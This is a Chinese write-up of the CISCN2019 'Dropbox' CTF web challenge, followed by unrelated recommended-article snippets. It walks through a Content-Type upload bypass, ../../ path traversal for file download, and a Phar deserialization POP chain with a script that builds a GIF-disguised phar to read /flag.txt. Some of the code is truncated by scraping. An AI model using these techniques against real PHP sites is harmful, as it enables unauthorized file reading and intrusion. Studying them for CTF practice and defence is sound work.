snowlyzz
snowlyzz

[CISCN2019 华北赛区 Day1 Web1]Dropbox

目录

前言：

考点：

前置知识：

使用的前提条件：

解题：

参考文章：

前言：

 。。。

考点：

代码审计

Phar反序列化

前置知识：

引入一个 Y4师傅的文章，这里我就不班门弄斧：[CTF]PHP反序列化总结_Y4tacker的博客-CSDN博客_ctf php反序列化

要简单了解的是phar的四个部分：

1，stub

phar 文件的表示，以 xxxxxx 为固定形式，前面内容可以变，点必须 __HALT__COMPILER();?>结尾。

2，a mainfest describing the contents

该部分是phar文件中被压缩的文件的一些信息，其中meta-data部分的信息会被序列化，即执行serialize()函数，而phar://就相当于对这部分的内容进行反序列化，此处也正是漏洞点所在。

3，the file contents

这部分存储的是文件的内容，在没有其它特殊要求的情况下，这里面的内容不做约束。

4. a signature for verifying Phar integrity

数字前面 ，在最末尾。

使用的前提条件：

1. phar 文件可以上传至服务器。

2. 文件操作入 file_exists() .file_get_content(),fopen() ,要有可利用的魔术方法作为跳板

3.文件流参数可控，且phar：//协议可用  /  phar 等特殊字符没有被过滤

解题：

[CISCN2019 华北赛区 Day1 Web1]Dropbox_第1张图片

 看到登录框，先 用万能密码 1' or 1=1#  试了一下 没有反应。就注册一个账号登进去。

进入以后我们发现左上角有一个上传文件的功能，然后我们先随便建个文档上传提交，发现它要求得文件类型只能是gif/jpg/png的类型，然后进一步测试发现，只更改文件后缀名是没有用的，需要抓包更改其Content-Type为image/jpeg或其它图片格式的对应字符串。

[CISCN2019 华北赛区 Day1 Web1]Dropbox_第2张图片

就算你上传 1.php 文件，他也会自动改成png 格式。

上传成功后，能够看到下载和删除两个按钮，一般来说，下载这两字 可能会有任意文件下载的。

抓包看 ，确实如此

[CISCN2019 华北赛区 Day1 Web1]Dropbox_第3张图片

 filename 是可控的，我们试着 下载 flag.txt 发现是不行的，无奈之下只能下载一些 所有功能的源代码。  不过要注意的是 ， 文件都放在 上上级目录了，所以我们 下载文件 需要加上 ../ ../

[CISCN2019 华北赛区 Day1 Web1]Dropbox_第4张图片

 主要看 class.php 文件，因为有file_get_contents函数，可以让我们读取flag。

db = $db;
    }

    public function user_exist($username) {
        $stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->store_result();
        $count = $stmt->num_rows;
        if ($count === 0) {
            return false;
        }
        return true;
    }

    public function add_user($username, $password) {
        if ($this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
        $stmt->bind_param("ss", $username, $password);
        $stmt->execute();
        return true;
    }

    public function verify_user($username, $password) {
        if (!$this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->bind_result($expect);
        $stmt->fetch();
        if (isset($expect) && $expect === $password) {
            return true;
        }
        return false;
    }

    public function __destruct() {
        $this->db->close();
    }
}

class FileList {
    private $files;
    private $results;
    private $funcs;

    public function __construct($path) {
        $this->files = array();
        $this->results = array();
        $this->funcs = array();
        $filenames = scandir($path);

        $key = array_search(".", $filenames);
        unset($filenames[$key]);
        $key = array_search("..", $filenames);
        unset($filenames[$key]);

        foreach ($filenames as $filename) {
            $file = new File();
            $file->open($path . $filename);
            array_push($this->files, $file);
            $this->results[$file->name()] = array();
        }
    }

    public function __call($func, $args) {
        array_push($this->funcs, $func);
        foreach ($this->files as $file) {
            $this->results[$file->name()][$func] = $file->$func();
        }
    }

    public function __destruct() {
        $table = '
';
        $table .= '';
        foreach ($this->funcs as $func) {
            $table .= '';
        }
        $table .= '';
        $table .= '';
        foreach ($this->results as $filename => $result) {
            $table .= '';
            foreach ($result as $func => $value) {
                $table .= '';
            }
            $table .= '';
            $table .= '';
        }
        echo $table;
    }
}

class File {
    public $filename;

    public function open($filename) {
        $this->filename = $filename;
        if (file_exists($filename) && !is_dir($filename)) {
            return true;
        } else {
            return false;
        }
    }

    public function name() {
        return basename($this->filename);
    }

    public function size() {
        $size = filesize($this->filename);
        $units = array(' B', ' KB', ' MB', ' GB', ' TB');
        for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
        return round($size, 2).$units[$i];
    }

    public function detele() {
        unlink($this->filename);
    }

    public function close() {
        return file_get_contents($this->filename);
    }
}
?>

这个利用点 file_get_contents 没有对 关键字进行过滤，所以 我们肯定是利用这个函数来获取flag 的。 所以我们应该怎么样利用呢？ 
首先是定义的 close 函数，我们跳转到哪里调用了这个close（）
跟进代码，看到是User类 的__destrust() 调用了 close()
[CISCN2019 华北赛区 Day1 Web1]Dropbox_第5张图片
 所以我们简单的逻辑  就是：  User-> __destruct() =>File -> close() -> 读取flag。
但是  试了一下，并没有回显，此时，我在前提条件说过，第二条要有可用魔术方法作为跳板，class.php 有一个 __call() 方法可以使用，恐怕想不利用他们都不行了。。。
[CISCN2019 华北赛区 Day1 Web1]Dropbox_第6张图片
如果想要读取文件内容，肯定要利用class.php中的File.close()，但是没有直接调用这个方法的语句；
 注意到 User类中在 __destruct时调用了close()，按原逻辑，$db应该是mysqli即数据库对象，但是我们可以构造$db指定为 File对象，这样就可以读取到文件了。
 可读取到文件不能呈现给我们，注意到 __call魔术方法，这个魔术方法的主要功能就是，如果要调用的方法我们这个类中不存在，就会去File中找这个方法，并把执行结果存入 $this->results[$file->name()][$func]，刚好我们利用这一点：让 $db为 FileList对象，当 $db销毁时，触发 __destruct，调用close()，由于 FileList没有这个方法，于是去 File类中找方法，读取到文件，存入 results
$user -> __destruct() => $db -> close() => $db->__call(close) => $file -> close() =>$results=file_get_contents($filename) => FileList->__destruct()输出$result。
返回读取结果：
    

  • __destruct正好会将 $this->results[$file->name()][$func]的内容打印出来
    • 

pop链：
db=new FileList(); 
	}
}

class FileList {
	private $files;
	private $results;
	private $funcs;
	public function __construct(){
		$this->files=array(new File());  
		$this->results=array();
		$this->funcs=array();
	}
}

class File {
	public $filename="/flag.txt";
}

$user = new User();
$phar = new Phar("shell.phar"); //生成一个phar文件，文件名为shell.phar
$phar-> startBuffering();
$phar->setStub("GIF89a"); //设置stub
$phar->setMetadata($user); //将对象user写入到metadata中
$phar->addFromString("shell.txt","snowy"); //添加压缩文件，文件名字为shell.txt,内容为snowy
$phar->stopBuffering();

注意：想要生成phar文件记得把php.ini中的phar.readonly选项设置为Off,否则将无法生成phar文件
生成phar文件：
[CISCN2019 华北赛区 Day1 Web1]Dropbox_第7张图片
 改后缀上传：
 抓取delete.php的数据包，修改post提交的数据：
[CISCN2019 华北赛区 Day1 Web1]Dropbox_第8张图片
得到flag。
参考文章：
[CISCN2019 华北赛区 Day1 Web1]Dropbox之愚见 - 简书 (jianshu.com)
[CISCN2019 华北赛区 Day1 Web1]Dropbox （phar反序列化）_Red snow的博客-CSDN博客
(1条消息) [CTF]PHP反序列化总结_Y4tacker的博客-CSDN博客_ctf php反序列化





你可能感兴趣的:(BUUCTF,php,开发语言)






    

  • php 把一个数组分成有n个元素的二维数组的算法
风清扬-独孤九剑
phpphp算法

    一、第一种解法0){$columns_map[$position]++;//这个地方格外注意,$position与$columns比较$position=($position<$columns-1)?++$position:0;$array_length--;}foreach($columns_mapas$val){$newarray[]=array_splice($array,0,$val);}
    

    • 

  • 第一次用eclipse,导入项目错误Plug-in “org.eclipse.m2e.editor“ was unable to instantiate MavenPomEditor
zhangfeng1133
eclipsejavaide

    第一次用eclipse,导入项目错误Plug-in"org.eclipse.m2e.editor"wasunabletoinstantiateMavenPomEditor。各种项目包，都不存在，maven应该能自动载入类包，比Php的composer方便太多Thecontainer'MavenDependencies'referencesnonexistinglibrary'C:\Users\Ad
    

    • 

  • php 快速入门（六）
王依硕
PHPphp开发语言

    一、前后台交互1.1$_GET用来获取浏览器通过GET方法提交的数据GET方法它是通过把参数数据加在提交表单的action属性所指的URL中，值和表单内每个字段一一对应，然后在URL中可以看到，但是有如下缺点1.安全性不好，在URL中可以看得到2.传送数据量较小，不能大于2KB1.2$_POST用来获取浏览器通过POST方法提交的数据。POST方法它是通过HTTPPOST机制，将表单的各个字段放置
    

    • 

  • Thinkphp - 详细实现网站系统登录功能，附带 Mysql 数据库设置、Web 前端展示界面、信息校验等（详细代码，即设计过程）
王佳斌
+Thinkphpmysql前端数据库

    前言登录功能，是我们几乎开发每个系统都必须的模块。登录功能设计思路，主要包括几个方面。用户输入网址展示登录页面用户输入用户名，密码等点击登录进行信息校验校验通过之后，记录用户登录信息，跳转指定页面用户校验失败，提示失败信息页面目录具体功能实现为了快速搭建可用、美观的页面，我们采用一个比较成熟的前端框架Bootstrap。下面我们到Bootstrap的官网Bootsrap官网下载bootstrap。
    

    • 

  • 【PHP】通过PHP开启/暂停Apache、MySQL或其他服务
下页、再停留
PHPphpapachemysql

    目录一、前言二、代码一、前言有些时候我们需要开启或暂停一些服务，比如说开启Apach或暂停MySQL服务等，最近工作中也开发了这方面的功能，记录下来怎样使用PHP语言来开启或暂停Apache、MySQL服务的运行状态。这种方法也适用其他服务。如果想了解怎么实时监控服务的运行状态，可以看上一篇文章【PHP】通过PHP实时监控Apache、MySQL服务运行状态-CSDN博客二、代码有三个参数需要根据
    

    • 

  • 基于SSM+Vue企业销售培训系统 企业人才培训系统 企业课程培训管理系统 企业文化培训班系统Java
计算机程序老哥

    作者主页：计算机毕业设计老哥有问题可以主页问我一、开发介绍1.1开发环境开发语言：Java数据库：MySQL系统架构：B/S后端：SSM(Spring+SpringMVC+Mybatis)前端：Vue工具：IDEA或者Eclipse，JDK1.8，Maven二、系统介绍2.1图片展示注册登录页面：登陆.png前端页面功能：首页、培训班、在线学习、企业文化、交流论坛、试卷列表、系统公告、留言反馈、个
    

    • 

  • Github 2024-03-26 开源项目日报 Top10
老孙正经胡说
github开源Github趋势分析开源项目PythonGolang

    根据GithubTrendings的统计，今日(2024-03-26统计)共有10个项目上榜。根据开发语言中项目的数量，汇总情况如下：开发语言项目数量Python项目3TypeScript项目3JupyterNotebook项目2C++项目1GDScript项目1Lua项目1Solidity项目1OpenInterpreter:本地代码运行和自然语言界面创建周期：254天开发语言：Python协议
    

    • 

  • MineAdmin Swagger结合phpstorm实现快速客户端http调试
明日晴空
工具类PHPphpstormMineAdminSwaggerhttp调试

    以下操作，以MineAdmin框架作为演示，其它OpenApi规范文件亦可效果演示：1、打开http.json文件【OpenApi规范】，点击左侧装订线栏按钮2、点击左侧装订线栏按钮后，自动生成generated-requests.http文件，此时即可在phpstorm编辑器中直接调试接口，非常高效方便。一、下载安装MineAdmin1、gitee地址MineAdmin:MineAdmin是基于
    

    • 

  • git切换分支时，如何保存当前分支的修改（暂时不想提交）
旅行者xy

    有时候我们在一个分支中修改了部分文件，这时候，有个新的紧急任务，需要马上修改。一个好的想法是切换到一个新的分支，在新的分支上进行修改提交。可是这时候你使用gitcheckoutnew_branch时会提示错误信息：*error:Yourlocalchangestothefollowingfileswouldbeoverwrittenbycheckout:config/database.phpPle
    

    • 

  • Centos 7 yum安装php5.6.X
DomyloveR

    检查当前安装的PHP包yumlistinstalled|grepphp如果有安装的PHP包，先删除他们yumremovephp.x86_64php-cli.x86_64php-common.x86_64php-gd.x86_64php-ldap.x86_64php-mbstring.x86_64php-mcrypt.x86_64php-mysql.x86_64php-pdo.x86_64配置yum
    

    • 

  • 基于nodejs+vue智慧农业小程序python-flask-django-php
QQ_1963288475
pythonvue.js小程序flaskdjangophpnode.js

    根据此问题，研发一套智慧农业小程序，既能够大大提高信息的检索、变更与维护的工作效率，也能够方便微信小程序的管理运用，从而减少信息管理成本，提高效率。该微信小程序主要设计并完成了管理过程中的用户注册登录、个人信息修改、用户信息、知识科普、土壤信息、水质信息、购物商城等功能。该微信小程序操作简便，界面设计简洁，不但可以基本满足本行业的日常管理工作，同时又可以有效减少人员成本和时间成本，为智慧农业管理工
    

    • 

  • nodejs+vue的街道办管理系统python-flask-django-php
QQ_1963288475
pythonvue.jsflaskdjangophpnode.js

    在此基础上，结合现有街道办管理体系的特点，运用新技术，构建了以nodejs为基础的街道办管理信息化管理体系。首先，以需求为依据，根据需求分析结果进行了系统的设计，并将其划分为管理员和用户二种角色和多个主要模块：用户、住户信息、流动人口、住户居住、住户迁出、缴费信息、投诉维修理、处理信息、评价评分、核酸采样、预约信息等。使用目前市场主流的技术express框架进行项目构建，基于MVC开发模式，使用n
    

    • 

  • Github 2024-03-25 开源项目日报Top10
老孙正经胡说
github开源Github趋势分析开源项目PythonGolang

    根据GithubTrendings的统计，今日(2024-03-25统计)共有10个项目上榜。根据开发语言中项目的数量，汇总情况如下：开发语言项目数量Python项目4JupyterNotebook项目2TypeScript项目2GDScript项目1Lua项目1Go项目1Dart项目1OpenInterpreter:本地代码运行和自然语言界面创建周期：254天开发语言：Python协议类型：GN
    

    • 

  • APP UI自动化测试思路总结
程序员老鹰
ui测试工具开发语言软件测试经验分享程序人生程序员

    首先想要说明一下，APP自动化测试可能很多公司不用，但也是大部分自动化测试工程师、高级测试工程师岗位招聘信息上要求的，所以为了更好的待遇，我们还是需要花时间去掌握的，毕竟谁也不会跟钱过不去。接下来，一起总结一下APPUI自动化测试的思路吧。一，开发语言选择通常用于自动化测试的编程语言有：Python、Java、Javascript、Ruby、C#、PHP等。一般我们会选择自己熟悉的编程语言来编写自
    

    • 

  • PHP Startup: Unable to load dynamic library '/usr/lib64/php/modules/zip.so' - libzip.so.5: cannot...
三人_

    ln-s/usr/lib64/php/modules/zip.so/usr/lib64/zip.so&&ldconfigln-s/usr/lib64/php/modules/zip.so/usr/lib64/zip.so&&ldconfig
    

    • 

  • 基于python+vue高校毕业生离校管理系统flask-django-php-nodejs
QQ511008285
pythonvue.jsflaskdjangonode.jsphp

    课题主要采用Uni-weixin、django架构技术，前端以小程序页面呈现给用户，结合后台java语言使页面更加完善，后台使用MySQL数据库进行数据存储。微信小程序主要包括学生、教务人员、宿管员、图书管理员、财务人员、离校申请、物流信息、钥匙归还、图片归还、欠费信息、催缴信息等功能，从而实现智能化的管理方式，提高工作效率。关键字：高校毕业生离校管理系统；django框架；MySQL数据库语言：
    

    • 

  • WordPress Plugin NotificationX插件 SQL注入漏洞复现（CVE-2024-1698）
OidBoy_G
漏洞复现sqlweb安全安全

    0x01产品简介WordPress和WordPressplugin都是WordPress基金会的产品。WordPress是一套使用PHP语言开发的博客平台。该平台支持在PHP和MySQL的服务器上架设个人博客网站。0x02漏洞概述WordPresspluginNotificationX是一个应用插件。2.8.2版本及之前存在安全漏洞，该漏洞源于对用户提供的参数转义不充分以及对现有SQL查询缺乏充分
    

    • 

  • python社区垃圾分类管理平台的设计与实现flask-django-php-nodejs
QQ_511008285
pythonflaskdjangovue.jsphpnode.js

    近些年来，随着科技的飞速发展，互联网的普及逐渐延伸到各行各业中，给人们生活带来了十分的便利，社区垃圾分类管理平台利用计算机网络实现信息化管理，使整个社区垃圾分类管理的发展和服务水平有显著提升。语言：Python框架：django/flask软件版本：python3.7.7数据库：mysql数据库工具：Navicat前端框架:vue.js通过比较两个不同因素的框架，可以看出Flask和Django不
    

    • 

  • php短信验证码登录实现
短信接口开发

    本文为您提供了PHP语言版本的验证码短信接口对接DEMO示例//接口类型：互亿无线触发短信接口，支持发送验证码短信、订单通知短信等。//账户注册：请通过该地址开通账户http://user.ihuyi.com/?DKimmu//注意事项：//（1）调试期间，请使用用系统默认的短信内容：您的验证码是：【变量】。请不要把验证码泄露给其他人。//（2）请使用APIID及APIKEY来调用接口，可在会员中
    

    • 

  • Unix运维_Unix下配置PHP-7.x.x和Apache-2.x.x
Mostcow
Unixunix运维php

    Unix运维_Unix下配置PHP-7.x.x和Apache-2.x.xApacheHTTPServer(简称Apache,音译为:阿帕奇)是Apache软件基金会的一个开放源码的网页服务器。Apache源于NCSAhttpd服务器,经过多次修改,成为世界上最流行的Web服务器软件之一。Apache可以运行在几乎所有广泛使用的计算机平台上,由于其跨平台和安全性被广泛使用。它快速,可靠并且可通过简单
    

    • 

  • PHP对接验证码短信接口DEMO示例
樱桃桃

    学习编程得第N天，发现一个超简单验证码短信接口对接DEMO示例步骤1.注册互亿无线账号2.查找APIID和APIKEY3.代码的书写注册互亿无线账号网站：http://user.ihuyi.com/?JA9Ewr查找APIID和APIKEY注意事项：（1）调试期间，请使用用系统默认的短信内容：您的验证码是：【变量】。请不要把验证码泄露给其他人。//开启SESSIONsession_start();
    

    • 

  • query()方法
左手码农
PHPMySQLsqlPHPquery

    执行SQL命令，无论如何通过PHP脚本与Mysql数据库交互，过程都是一样的，创建一个SQL语句，再传递给执行查询的函数。在mysqli类中提供了几种执行SQL命令的方法，其中最常用的是query()方法。对于insert、update、delete等不会返回数据的SQL命令，query()方法在SQL命令成功执行时返回true。在此基础上还可以通过mysqli对象中的affected_rows属
    

    • 

  • PHP命令行模式详解
半桶水专家
phpphp

    PHP命令行界面（CLI）提供了一系列选项，让用户能够在命令行中执行PHP脚本、检查PHP配置等。以下是常用的一些命令行选项及其描述：-a：进入交互模式，用户可以输入PHP代码并立即执行看到结果。-c|：指定php.ini文件的路径或文件，PHP将使用该文件作为配置文件。-n：启动时不使用php.ini文件。-dfoo[=bar]：在命令行上定义ini配置项的值，如-ddisplay_errors
    

    • 

  • PHP 伪协议详解
诗雅颂
php协议伪协议

    PHP伪协议是一种特殊的URL格式，用于访问PHP内置的各种资源，如文件、变量、函数等。它们以php://开头，后面跟着不同的协议标识符和参数。下面是一些常见的PHP伪协议及其用法的详解：php://input：用于访问请求的原始数据。通常在处理POST请求时使用它。$data=file_get_contents('php://input');php://output：用于输出数据到标准输出（浏览
    

    • 

  • php 多阶段构建,Docker 重要更新: 原生支持多阶段构建(multi-stage build)
西陆强军号
php多阶段构建

    Docker的口号是Build,Ship,andRunAnyApp,Anywhere.但是我们在应用过程中会遇到一个问题，我们在build的时候，把源码也build进去了。然后就继续把源码Ship出去吗？这可不行。所有的编译型语言都面临这个困扰。即使是脚本型语言，build的时候也会使用很多上线时用不到的构建工具，而我们希望减小生产镜像的体积，这样我们的小鲸鱼才能多拉一点集装箱嘛。传统做法我们最终
    

    • 

  • golang点击下载文件与二维码下载文件
瑶风
golang开发语言后端

    背景有一个需求，可以通过点击按钮下载apk到pc端，也可以出现一个二维码，手机端扫描二维码下载文件，通过go语言实现实现点击下载我用的是gin框架，只需要输出到上下文即可下载。用过php的都知道，下载有个最简单的办法，将内容echo出来即可。1查询apk文件的Content-Type，content-type对照表，找到apk对应application/vnd.android.package-ar
    

    • 

  • configure: error: libxml2 not found. Please check your libxml2 installation.
行者有疆哉
linuxlinuxoneinstack

    ubuntu用oneinstack一键安装php遇见的问题报错：configure:error:libxml2notfound.Pleasecheckyourlibxml2installation.去安装libxml2:apt-getinstalllibxml2接着报错：E:无法定位软件包libxml2参考[1]:https://www.kanzhun.com/jiaocheng/198475.h
    

    • 

  • Http协议
刘艳芬_
http网络协议网络

    文章目录Http协议1、Http相关概念2、访问浏览器的过程3、Http协议通信过程4、HTTP相关技术4.1WEB开发语言4.1.1html4.1.2CSS4.1.3js4.2MIME4.3URI(i)和URL4.4网站访问量4.5HTTP工作机制4.5.1一次http事务包括4.5.2Web资源4.5.3资源类型4.5.4HTTP连接请求4.5.5串行和并行连接4.5.6串行,持久连接和管道4
    

    • 

  • web开发-PHP基础学习
前端薛之谦...
PHPphpweb开发

    PHP是什么PHP是一种创建动态交互性站点的强有力的服务器端脚本语言。PHP是免费的，并且使用非常广泛。同时，对于像微软ASP这样的竞争者来说，PHP无疑是另一种高效率的选项。PHP开发环境集成安装通常，PHP集成环境包，都会将Apache、Ngnix、PHP、MySQL集成在一起，给用户一个非常简单的解决方案。并且大多数情况下:php版本是允许切换的。MySQL一般都是提供phpMyAdmin网
    

    • 

  • 主流开发语言和开发环境、程序员如何选择职业赛道？
洛可可白
程序员开发语言

    前言欢迎来到我的技术小宇宙！这里不仅是我记录技术点滴的后花园，也是我分享学习心得和项目经验的乐园。无论你是技术小白还是资深大牛，这里总有一些内容能触动你的好奇心。洛可可白：个人主页个人专栏：✅前端技术✅后端技术个人博客：洛可可白博客代码获取：bestwishes0203封面壁纸：洛可可白wallpaper文章目录主流开发语言和开发环境、程序员如何选择职业赛道？主流开发语言开发环境程序员如何选择职业
    

    • 

  • VMware Workstation 11 或者 VMware Player 7安装MAC OS X 10.10 Yosemite
iwindyforest
vmwaremac os10.10workstationplayer

    最近尝试了下VMware下安装MacOS 系统，
安装过程中发现网上可供参考的文章都是VMware Workstation 10以下， MacOS X 10.9以下的文章，
只能提供大概的思路， 但是实际安装起来由于版本问题， 走了不少弯路， 所以我尝试写以下总结， 希望能给有兴趣安装OSX的人提供一点帮助。
 
 
写在前面的话：
其实安装好后发现， 由于我的th
    

    • 

  • 关于《基于模型驱动的B/S在线开发平台》源代码开源的疑虑？
deathwknight
JavaScriptjava框架

    本人从学习Java开发到现在已有10年整，从一个要自学 java买成javascript的小菜鸟，成长为只会java和javascript语言的老菜鸟（个人邮箱：[email protected]）
一路走来，跌跌撞撞。用自己的三年多业余时间，瞎搞一个小东西（基于模型驱动的B/S在线开发平台，非MVC框架、非代码生成）。希望与大家一起分享，同时有许些疑虑，希望有人可以交流下
平台
    

    • 

  • 如何把maven项目转成web项目
Kai_Ge
mavenMyEclipse

    创建Web工程，使用eclipse ee创建maven web工程 1.右键项目,选择Project Facets,点击Convert to faceted from 2.更改Dynamic Web Module的Version为2.5.(3.0为Java7的,Tomcat6不支持). 如果提示错误,可能需要在Java Compiler设置Compiler compl
    

    • 

  • 主管？？？
Array_06
工作

    转载：http://www.blogjava.net/fastzch/archive/2010/11/25/339054.html
很久以前跟同事参加的培训，同事整理得很详细，必须得转！
前段时间，公司有组织中高阶主管及其培养干部进行了为期三天的管理训练培训。三天的课程下来，虽然内容较多，因对老师三天来的课程内容深有感触，故借着整理学习心得的机会，将三天来的培训课程做了一个
    

    • 

  • python内置函数大全
2002wmj
python

    最近一直在看python的document，打算在基础方面重点看一下python的keyword、Build-in Function、Build-in Constants、Build-in Types、Build-in Exception这四个方面，其实在看的时候发现整个《The Python Standard Library》章节都是很不错的，其中描述了很多不错的主题。先把Build-in Fu
    

    • 

  • JSP页面通过JQUERY合并行
357029540
JavaScriptjquery

    在写程序的过程中我们难免会遇到在页面上合并单元行的情况，如图所示
如果对于会的同学可能很简单，但是对没有思路的同学来说还是比较麻烦的，提供一下用JQUERY实现的参考代码
function mergeCell(){
        var trs = $("#table tr");
&nb
    

    • 

  • Java基础
冰天百华
java基础

    学习函数式编程
package base;
import java.text.DecimalFormat;
public class Main {
public static void main(String[] args) {
// Integer a = 4;
// Double aa = (double)a / 100000;
// Decimal
    

    • 

  • unix时间戳相互转换
adminjun
转换unix时间戳

    如何在不同编程语言中获取现在的Unix时间戳(Unix timestamp)？ Java time JavaScript Math.round(new Date().getTime()/1000)
getTime()返回数值的单位是毫秒 Microsoft .NET / C# epoch = (DateTime.Now.ToUniversalTime().Ticks - 62135
    

    • 

  • 作为一个合格程序员该做的事
aijuans
程序员

    作为一个合格程序员每天该做的事 1、总结自己一天任务的完成情况 最好的方式是写工作日志，把自己今天完成了什么事情，遇见了什么问题都记录下来，日后翻看好处多多
2、考虑自己明天应该做的主要工作 把明天要做的事情列出来，并按照优先级排列，第二天应该把自己效率最高的时间分配给最重要的工作
3、考虑自己一天工作中失误的地方，并想出避免下一次再犯的方法 出错不要紧，最重
    

    • 

  • 由html5视频播放引发的总结
ayaoxinchao
html5视频video

    前言
 
项目中存在视频播放的功能，前期设计是以flash播放器播放视频的。但是现在由于需要兼容苹果的设备，必须采用html5的方式来播放视频。我就出于兴趣对html5播放视频做了简单的了解，不了解不知道，水真是很深。本文所记录的知识一些浅尝辄止的知识，说起来很惭愧。
 
视频结构
 
本该直接介绍html5的<video>的，但鉴于本人对视频
    

    • 

  • 解决httpclient访问自签名https报javax.net.ssl.SSLHandshakeException: sun.security.validat
bewithme
httpclient

         如果你构建了一个https协议的站点，而此站点的安全证书并不是合法的第三方证书颁发机构所签发，那么你用httpclient去访问此站点会报如下错误
 
javax.net.ssl.SSLHandshakeException: sun.security.validator.ValidatorException: PKIX path bu
    

    • 

  • Jedis连接池的入门级使用
bijian1013
redisredis数据库jedis

    Jedis连接池操作步骤如下：
        a.获取Jedis实例需要从JedisPool中获取；
        b.用完Jedis实例需要返还给JedisPool；
        c.如果Jedis在使用过程中出错，则也需要还给JedisPool；
packag
    

    • 

  • 变与不变
bingyingao
不变变亲情永恒

    变与不变
   周末骑车转到了五年前租住的小区，曾经最爱吃的西北面馆、江西水饺、手工拉面早已不在，
   各种店铺都换了好几茬，这些是变的。
   三年前还很流行的一款手机在今天看起来已经落后的不像样子。
   三年前还运行的好好的一家公司，今天也已经不复存在。
   一座座高楼拔地而起，
    

    • 

  • 【Scala十】Scala核心四：集合框架之List
bit1129
scala

    Spark的RDD作为一个分布式不可变的数据集合，它提供的转换操作，很多是借鉴于Scala的集合框架提供的一些函数，因此，有必要对Scala的集合进行详细的了解
 
1. 泛型集合都是协变的，对于List而言，如果B是A的子类，那么List[B]也是List[A]的子类，即可以把List[B]的实例赋值给List[A]变量
 
2. 给变量赋值(注意val关键字，a，b
    

    • 

  • Nested Functions in C
bookjovi
cclosure

     
Nested Functions 又称closure，属于functional language中的概念，一直以为C中是不支持closure的，现在看来我错了，不过C标准中是不支持的，而GCC支持。
 
既然GCC支持了closure，那么 lexical scoping自然也支持了，同时在C中label也是可以在nested functions中自由跳转的
    

    • 

  • Java-Collections Framework学习与总结-WeakHashMap
BrokenDreams
Collections

            总结这个类之前，首先看一下Java引用的相关知识。Java的引用分为四种：强引用、软引用、弱引用和虚引用。
       
强引用：就是常见的代码中的引用，如Object o = new Object();存在强引用的对象不会被垃圾收集
    

    • 

  • 读《研磨设计模式》-代码笔记-解释器模式-Interpret
bylijinnan
java设计模式

    声明： 本文只为方便我个人查阅和理解，详细的分析以及源代码请移步 原作者的博客http://chjavach.iteye.com/
package design.pattern;
/*
* 解释器（Interpreter）模式的意图是可以按照自己定义的组合规则集合来组合可执行对象
*
* 代码示例实现XML里面1.读取单个元素的值 2.读取单个属性的值
* 多
    

    • 

  • After Effects操作&快捷键
cherishLC
After Effects

    1、快捷键官方文档
中文版：https://helpx.adobe.com/cn/after-effects/using/keyboard-shortcuts-reference.html
英文版：https://helpx.adobe.com/after-effects/using/keyboard-shortcuts-reference.html
2、常用快捷键
    

    • 

  • Maven 常用命令
crabdave
maven

    Maven 常用命令
 
mvn archetype:generate
mvn install
mvn clean
mvn clean complie
mvn clean test
mvn clean install
mvn clean package
mvn test
mvn package
mvn site
 
mvn dependency:res
    

    • 

  • shell bad substitution
daizj
shell脚本

    #!/bin/sh
/data/script/common/run_cmd.exp 192.168.13.168 "impala-shell -islave4 -q 'insert OVERWRITE table imeis.${tableName} select ${selectFields}, ds, fnv_hash(concat(cast(ds as string), im
    

    • 

  • Java SE 第二讲（原生数据类型 Primitive Data Type）
dcj3sjt126com
java

    Java SE  第二讲：
1.   Windows: notepad, editplus, ultraedit, gvim
Linux: vi, vim, gedit
2.   Java 中的数据类型分为两大类：
1）原生数据类型  （Primitive Data Type）
2）引用类型（对象类型）  （R
    

    • 

  • CGridView中实现批量删除
dcj3sjt126com
PHPyii

    1，CGridView中的columns添加
array(
'selectableRows' => 2,
'footer' => '<button type="button" onclick="GetCheckbox();" style=&
    

    • 

  • Java中泛型的各种使用
dyy_gusi
java泛型

    Java中的泛型的使用：1.普通的泛型使用
在使用类的时候后面的<>中的类型就是我们确定的类型。
public class MyClass1<T> {//此处定义的泛型是T
private T var;
public T getVar() {
return var;
}
public void setVa
    

    • 

  • Web开发技术十年发展历程
gcq511120594
Web浏览器数据挖掘

    回顾web开发技术这十年发展历程：
Ajax
03年的时候我上六年级，那时候网吧刚在小县城的角落萌生。传奇，大话西游第一代网游一时风靡。我抱着试一试的心态给了网吧老板两块钱想申请个号玩玩，然后接下来的一个小时我一直在，注，册，账，号。
彼时网吧用的512k的带宽，注册的时候，填了一堆信息，提交，页面跳转，嘣，”您填写的信息有误，请重填”。然后跳转回注册页面，以此循环。我现在时常想，如果当时a
    

    • 

  • openSession()与getCurrentSession()区别：
hetongfei
javaDAOHibernate

    来自 http://blog.csdn.net/dy511/article/details/6166134
1.getCurrentSession创建的session会和绑定到当前线程,而openSession不会。
2. getCurrentSession创建的线程会在事务回滚或事物提交后自动关闭,而openSession必须手动关闭。
这里getCurrentSession本地事务(本地
    

    • 

  • 第一章 安装Nginx+Lua开发环境
jinnianshilongnian
nginxluaopenresty

    首先我们选择使用OpenResty，其是由Nginx核心加很多第三方模块组成，其最大的亮点是默认集成了Lua开发环境，使得Nginx可以作为一个Web Server使用。借助于Nginx的事件驱动模型和非阻塞IO，可以实现高性能的Web应用程序。而且OpenResty提供了大量组件如Mysql、Redis、Memcached等等，使在Nginx上开发Web应用更方便更简单。目前在京东如实时价格、秒
    

    • 

  • HSQLDB In-Process方式访问内存数据库
liyonghui160com

     
 
HSQLDB一大特色就是能够在内存中建立数据库，当然它也能将这些内存数据库保存到文件中以便实现真正的持久化。
 
先睹为快！
 
下面是一个In-Process方式访问内存数据库的代码示例：
 
 
下面代码需要引入hsqldb.jar包 （hsqldb-2.2.8）
 
import java.s
    

    • 

  • Java线程的5个使用技巧
pda158
java数据结构

    Java线程有哪些不太为人所知的技巧与用法？ 　　萝卜白菜各有所爱。像我就喜欢Java。学无止境，这也是我喜欢它的一个原因。日常
